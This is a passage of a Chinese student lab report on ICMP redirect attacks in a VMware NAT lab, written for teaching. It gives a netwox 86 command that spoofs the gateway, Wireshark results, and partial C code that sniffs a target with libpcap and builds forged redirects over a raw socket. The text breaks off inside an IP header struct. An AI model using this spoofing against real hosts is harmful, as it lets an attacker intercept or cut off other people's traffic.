文章目录
一.实验原理:
ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。
在VMware虚拟环境中(Virtual Box不同),.2是充当网关的默认地址(通过route命令可以查看当前的网关和路由信息);所以攻击者可以冒充.2发出重定向包,通知受害者修改自己的网关为攻击者指定的gw地址;如果伪造的gw是自身,可以实现中间人攻击或者DOS攻击(没有启动IP转发功能);如果是随意IP(不能到达或不负责转发),则可以导致DOS攻击。
关于VMWare组网的基本原理可以参考:
二.实验目标:
1.体验ICMP重定向攻击的效果,加深对ICMP协议功能的理解。
2.练习使用Raw Socket编程,学习构造包括包头部分的数据包。
三.实验内容
(一).用netwox86号功能进行测试
1.首先布置两台虚拟机,虚拟机网络连接方式为NAT方式
一台作为攻击者主机:
攻击者IP为172.16.220.172
一台作为受害者主机:
受害者IP:172.16.220.171
目标主机(受害者)ICMP转发方式设置为接受ICMP重定向模式(/proc/sys/net/ipv4/conf/all 设置值 =1)
攻击者方关闭攻击者IP转发:/proc/sys/net/ipv4/ip_forward 设置值 =0
2.测试netwox86号功能,用Wireshark抓包
在攻击前,受害者ping www.baidu.com。用Wireshark抓包,查看发现源/目的IP一个为受害者本机地址,一个为百度地址。
利用netwox 86 发送ICMP重定向消息:
在攻击主机处修改网关,变成攻击者的地址
sudo netwox 86 -g 172.16.220.172 -i 172.16.220.2
受害者处ping www.baidu.com后再次抓包:
发现抓包后网关地址变成设计的地址(即攻击者地址),源和目的IP也变成受害者IP和原网关IP地址。
(二).raw socket自己实现ICMP重定向
1.实现过程:
step1:对目标主机进行嗅探
//开始对目标主机嗅探
int setup_sniffer(char *dev){
char errbuf[PCAP_ERRBUF_SIZE];
bpf_u_int32 mask;//嗅探目标网络设备的dev掩码
bpf_u_int32 net;//目标网络设备dev的ip
if(pcap_lookupnet(dev, &net, &mask, errbuf)==-1){
fprintf(stderr, "Can't get netmask for device %s\n",dev);
net=0;
mask=0;
}
//打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作用到这个指针
//获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
pcap_t *device=pcap_open_live(dev, 65535, 1, 0, errbuf);//打开设备进行嗅探
if (device==NULL) {
fprintf(stderr, "Couldn't open device %s:%s\n",dev,errbuf);
return (2);
}
struct bpf_program filter;
char filterstr[50]={
0};
//将目标IP拼接到过滤字符串中
sprintf(filterstr, "src host %s",inet_ntoa(target_ip.sin_addr));
//编译表达式,函数返回-1为失败,返回其他值为成功
//device:会话句柄
//&filter:被编译的过滤器版本的地址的引用
//filterstr:表达式本身,存储在规定的字符串格式里
//1:表达式是否被优化的整形量:0:没有,1:有
//net:应用此过滤器的网络掩码
if (pcap_compile(device, &filter, filterstr, 1, net)==-1){
//过滤流量
fprintf(stderr, "Couldn't parse filter %s:%s\n",filterstr,pcap_geterr(device));
return (2);
}
//设置过滤器
//device:会话句柄,&filterstr:被编译的表达式版本引用
pcap_setfilter(device, &filter);
printf("sniffing at %s....\n\n",TARGET_IP);
//device是之前返回的pacp_t类型的指针
//-1代表循环抓包直到出错结束,>0表示循环x次,
//最后一个参数一般之置为null
pcap_loop(device , -1,getPacket, NULL);//嗅探处理
return 0;
}
step2:获取包
//获取包
void getPacket(u_char * arg,const struct pcap_pkthdr *pkthdr,const u_char * packet){
int sockfd,res;
int one=1;
int *ptr_one=&one;
//接受协议为ICMP的发往本机的IP数据包(通信的域,IPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP->IP)
//socked:socket描述符,为了以后将socket与本机端口相连
if ((sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
//面向链路层的套接字
printf("creat sockfd error\n");
exit(-1);
}
/*
设置sockfd套接字关联的选项
sockfd:指向一个打开的套接口描述字
IPPROTO_IP:协议,选项定义的层次
IP_HDRINCL:详细代码名称(需要访问的选项名字)
ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
sizeof(one):指针大小
若无错误发生,返回0.否则返回SOCKET_ERROR错误。
*/
res=setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
if (res<0){
printf("error--\n");
exit(-3);
}
printf("detected a packet from the target....\n");
//传入socket描述符,原始数据帧地址
icmp_redirect(sockfd, packet, 0);
}
step3:构造并发送ICMP重定向报文
首先构造IP首部和ICMP报文首部,实现校验和函数
报文格式:
//IP首部
struct ip_header{
#ifdef WORDS_BIGENDIAN//大端顺序
u_int8_t version